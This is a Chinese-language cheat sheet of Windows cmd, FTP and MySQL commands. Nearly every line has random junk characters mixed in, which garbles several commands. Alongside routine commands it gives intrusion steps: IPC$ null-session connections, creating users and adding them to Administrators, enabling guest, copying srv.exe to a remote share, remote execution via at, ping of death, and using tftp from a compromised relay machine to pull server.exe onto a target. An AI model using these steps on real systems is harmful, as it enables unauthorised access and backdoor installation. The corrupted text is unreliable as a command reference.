|
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
3 f* j* N. A' t* c- s, anet use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接# d W% o8 I5 p* C5 ?
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:4 T, ~ r g! B7 k
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
8 t4 W( o' U3 J: N W7 i8 H1 znet use \\ip\ipc$ /del 删除IPC链接9 }' P+ ~6 m3 _" P
net use h: /del 删除映射对方到本地的为H:的映射
: `- l0 l) s7 m3 `) hnet user 用户名 密码 /add 建立用户
4 |- s6 e3 s- Q# g, X0 }net user guest /active:yes 激活guest用户2 h0 e5 S( u* g' F n% d& j
net user 查看有哪些用户3 Y. k4 s" Q5 E6 z" J: ?8 z& c* g- E
net user 帐户名 查看帐户的属性
& K& P& X' u3 U" ynet localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数: o! F8 q* W4 `
net start 查看开启了哪些服务
; x+ l! i; o* S8 Onet start 服务名 开启服务;(如:net start telnet, net start schedule)
! M j9 |/ c% snet stop 服务名 停止某服务9 X) ?/ x. J- W) M
net time \\目标ip 查看对方时间
; o8 V% D9 j1 b! q1 H, F6 Dnet time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
0 N: n0 n3 u0 X0 r- O/ unet view 查看本地局域网内开启了哪些共享
' Q2 s e8 z* J% ~8 Znet view \\ip 查看对方局域网内开启了哪些共享
+ g' Y: E. Z3 znet config 显示系统网络设置
4 h N1 H- `: H9 F% T: y, E+ Unet logoff 断开连接的共享) w( A* y( D& n* A$ l
net pause 服务名 暂停某服务
& @7 C# G. F% k' y, P7 w9 h' @net send ip "文本信息" 向对方发信息 M( S' M1 H {/ f" h, S
net ver 局域网内正在使用的网络连接类型和信息8 A" o, l; D% n* @( u- T
net share 查看本地开启的共享
& j3 a; ]* ]1 N; Anet share ipc$ 开启ipc$共享: r# R0 k% `+ z3 ?8 h
net share ipc$ /del 删除ipc$共享; v3 a6 u/ X( `7 Y3 u" o9 _& V! {; o
net share c$ /del 删除C:共享8 ~( e/ O, M, V' p) k+ \; `
net user guest 12345 用guest用户登陆后用将密码改为12345
" n A* g& M* {5 f# j" Y! x! V( Znet password 密码 更改系统登陆密码
. Z7 o4 u% @ [: unetstat -a 查看开启了哪些端口,常用netstat -an1 C6 k- S0 U! ?+ c, a
netstat -n 查看端口的网络连接情况,常用netstat -an9 @4 J! z6 X Z3 {" G0 _
netstat -v 查看正在进行的工作
0 `/ H3 d3 c5 K' s& a9 I2 Pnetstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)3 e7 _* ^: b) o
netstat -s 查看正在使用的所有协议使用情况4 n/ S+ ]" X- h( c8 I; M5 a; K0 u" [
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
, Y1 [7 j9 j( _" W+ L7 ]9 _" etracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
( f/ q: o, m/ {2 M |0 X+ E, mping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。5 f, p8 _. C6 S% I6 |- a* W( x
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
* q+ h" S8 g+ [6 ]' d, nipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
7 P5 N3 K+ A L; itlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
! i" v# `+ \) A$ S! j9 Z* w. m% dkill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
7 b6 g) W' ]. ^ s) \4 Idel -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
! y4 P$ e' o0 J# W: m, A3 \del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同) `; _, c( {; M
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
4 k S5 O* R. t' S! `# u' T( Dfc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令5 a# B5 I/ K! ^( C
at id号 开启已注册的某个计划任务
/ Y/ q1 S& Q& m5 F9 `at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止7 p2 I' o: T, }7 B' c8 W/ \/ {( U
at id号 /delete 停止某个已注册的计划任务& f4 m0 `+ S& Z+ E; p/ e' A2 V4 E
at 查看所有的计划任务
- a1 I* x) {+ H B" N/ U: @at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
' ^ L1 N7 \" y4 h4 m4 e Ofinger username @host 查看最近有哪些用户登陆 `" s- ?* H+ ~
telnet ip 端口 远和登陆服务器,默认端口为236 e) Z& N& ^$ |8 U( Q: c! m
open ip 连接到IP(属telnet登陆后的命令) W$ j! z; w0 v0 p3 e
telnet 在本机上直接键入telnet 将进入本机的telnet6 J2 j; D9 d3 ^
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件; h. p- N$ i4 t( \. w5 q. [9 W
copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下5 X' ^- r6 X4 I4 z- U
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件* l: c" A4 f r/ p5 j# w
copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:% y' W$ p+ L) Q* K" _4 R j Z7 x5 c
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
9 x4 y+ _' C- j. C. ~tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
' J4 p, o) s9 S6 F6 Jtftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机3 K. a5 X1 ~1 O4 L- m2 d' g
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)) {$ \( u/ z. L- l' Z v
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
7 C7 K) t4 P. M8 \! Xarp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息. N8 y( l; P9 e0 W3 H
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
8 X B6 L* t/ k: `# k5 g- Z4 V# |% L5 xmem 查看cpu使用情况
5 k; f9 R; @( ~: Yattrib 文件名(目录名) 查看某文件(目录)的属性7 X4 ^% R# p; G0 o B
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
# H0 M' D0 F) Z1 u3 Jdir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间7 D" y* T8 a% s1 |7 ` t$ o: v
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
/ E; z4 o# _1 J8 L: A, t2 O' Q( }set 指定环境变量名称=要指派给变量的字符 设置环境变量+ G5 [& ^! N8 n- T1 Z8 ]
set 显示当前所有的环境变量
7 Z% W2 o3 M0 `set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量5 e K3 l/ S/ A) b8 Q7 f6 Q! q
pause 暂停批处理程序,并显示出:请按任意键继续....
0 Z5 _& ]; p1 [/ ]: Dif 在批处理程序中执行条件处理(更多说明见if命令及变量)% M! e7 u) W4 m4 b0 I% P! N
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
7 v: X: b0 w4 ?* rcall 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
( G/ P+ s d$ K$ J b7 Qfor 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
2 _# D3 b% G3 W/ q& hecho on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
2 \; M; C) d- B; G0 p& e: J+ `8 @echo 信息 在屏幕上显示出信息* Z3 v8 e+ M# a9 n* m9 ^; Z( p
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中9 R1 `# h6 b6 r; v+ {1 @; M
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
1 A) q; P) ], j- W* m. Tfind 文件名 查找某文件
0 N* Z9 K( ]4 e0 otitle 标题名字 更改CMD窗口标题名字
4 w8 J8 H( y9 ~+ f0 ~color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
* {/ d. j/ B# l4 I5 Cprompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )3 c/ H# n" f/ p1 X2 ? _
ver 在DOS窗口下显示版本信息
) k; U! }& R7 X8 u( w, E- Kwinver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)1 V! O# a0 z% G9 ~8 L
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
, l5 i: P& F( I; Ymd 目录名 创建目录
& G8 v. L) ^7 L' k3 l N! ` J' Sreplace 源文件 要替换文件的目录 替换文件
+ M' L0 [: x6 A3 ~# G9 dren 原文件名 新文件名 重命名文件名. x1 B) T2 v5 D9 \" N2 M4 R% `7 g
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称' S- O" l/ u) k/ _
type 文件名 显示文本文件的内容
' u) I5 I) O+ J* V# u# D! Wmore 文件名 逐屏显示输出文件
9 ?: Y- X' z( \4 Udoskey 要锁定的命令=字符
' O2 F+ J( y' J& R# ?6 ~doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=. T9 I3 S6 H8 Y) C/ @) o
taskmgr 调出任务管理器
9 Z% _' S& H& P2 W$ I% jchkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
& f* \% R( F; d9 E/ Etlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
2 {5 ]$ z1 \2 x3 A; l1 \exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
5 w" x' g9 {3 T6 [5 opath 路径\可执行文件的文件名 为可执行文件设置一个路径。
) l/ o e( a7 p9 r, s6 Mcmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
' w: U& S3 S! G' S" Hregedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;; a! y4 j4 u, t& }$ H6 s
regedit /e 注册表文件名 导出注册表
6 p: b+ Z& g2 Y1 F; p; ecacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名erm 替换指定用户的访问权限;/G 用户名erm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。3 A, B# u3 X& k/ p
cacls 文件名 查看文件的访问用户权限列表
( e5 ^5 O+ l0 fREM 文本内容 在批处理文件中添加注解
4 j) P' E$ T( \1 _5 M) l3 _0 j- tnetsh 查看或更改本地网络配置情况* A) f0 j6 n1 O8 f: u5 d% W
IIS服务命令:4 s3 ^. f: O- _, M8 L2 i L
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现). s8 F& D, {% B8 R4 |* L
iisreset /start或stop 启动(停止)所有Internet服务
4 l" g0 A9 ]! t) x# b, iiisreset /restart 停止然后重新启动所有Internet服务& l$ Z$ z& ~; m# U$ q
iisreset /status 显示所有Internet服务状态
: y, j$ Y0 n% e2 g& ?, ~0 O6 Ziisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动' {6 w- ~: u: @! F+ C0 Q% d( h! U u
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
" O9 \+ f: h( O$ h, ?3 q: J5 y1 p: oiisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务" g+ C. w0 O4 x7 h9 h5 M }+ P
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。; F$ |. b3 ^/ q9 H& x# c+ H
FTP 命令: (后面有详细说明内容)
. c* z; U5 i) G' t6 Fftp的命令行格式为:
: B4 o$ @0 g# F/ }. s0 Yftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。; ?4 c% P0 J# E7 x$ Y2 S
-d 使用调试方式。" Y4 j4 b# i: ^* q" G" s
-n 限制ftp的自动登录,即不使用.netrc文件。1 w* C5 A) }0 U* _# J( b
-g 取消全局文件名。
! D1 a" @! J8 S$ R( O6 e3 ghelp [命令] 或 ?[命令] 查看命令说明$ t/ v0 X+ @- a4 t1 J4 F1 U
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.. _6 P" o* t1 I; U
pwd 列出当前远端主机目录
5 h( n$ Q7 G$ Uput 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
' Y5 T" ?& t# U( _3 L; kget 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
A0 h( v/ B, U" smget [remote-files] 从远端主机接收一批文件至本地主机7 E) f& i1 h3 s4 k5 A
mput local-files 将本地主机中一批文件传送至远端主机) J, Y6 b4 D; g% F. }
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
' B) |- G7 j: g: U% w; tascii 设定以ASCII方式传送文件(缺省值)
1 J' b! \% S: B, Q% Abin 或 image 设定以二进制方式传送文件' [( c& G& E7 D/ ~: y( d
bell 每完成一次文件传送,报警提示
/ R- U# B- d2 [cdup 返回上一级目录
p$ h- x/ L$ Dclose 中断与远程服务器的ftp会话(与open对应)# W o6 Y8 k9 h" |6 l6 o* j
open host[port] 建立指定ftp服务器连接,可指定连接端口
3 Z. p5 ]9 Y/ r7 N) W, x7 tdelete 删除远端主机中的文件
0 S' j$ L. E- J+ smdelete [remote-files] 删除一批文件% P( O% P) N1 P) W; M T
mkdir directory-name 在远端主机中建立目录 e2 i" m) N( D B$ w5 ]
rename [from] [to] 改变远端主机中的文件名! W& G& T# k# h: p4 z, \" }% l* k
rmdir directory-name 删除远端主机中的目录* y0 c9 i$ L' V) Q
status 显示当前FTP的状态4 C! M7 m5 J! A1 |0 Q: Y) n; ?
system 显示远端主机系统类型
' u# Q" l( k( o4 s# quser user-name [password] [account] 重新以别的用户名登录远端主机0 h" a! C+ c+ g o( l" Q
open host [port] 重新建立一个新的连接
- p7 a% Z: O- L2 w) |/ W' Cprompt 交互提示模式, B1 a5 k) p0 X1 S H* F% E
macdef 定义宏命令
9 E! y: E* y2 K0 F! A5 k6 Mlcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
7 t" D+ V d) Q9 Mchmod 改变远端主机的文件权限; Y' U6 Q/ y! a7 q& Z7 b4 f8 D
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
' ^, n, |1 [- e$ L( ?. Rcd remote-dir 进入远程主机目录
3 X- C( e% {0 V( @& scdup 进入远程主机目录的父目录
5 l' X2 A: M" {, {& h2 D! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
/ _! o' q% K. @1 OMYSQL 命令:6 {0 Q. g- M3 e! l1 @) n5 ^
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
4 U' k ]" V. Q; S k( v/ t(例:mysql -h110.110.110.110 -Uroot -P123456+ [1 S: b9 U- t) o" ^2 b" |& a
注:u与root可以不用加空格,其它也一样)
3 g: O5 [+ z5 W- z# B* e5 C( {exit 退出MYSQL
1 B$ N! R) B; z: O+ `' V+ Qmysql*** -u用户名 -p旧密码 password 新密码 修改密码3 J2 B/ [, ], e" m+ E# }( p. B
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)' \$ `* A+ W0 R7 P# a$ R# A! ~& ~
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。 |
|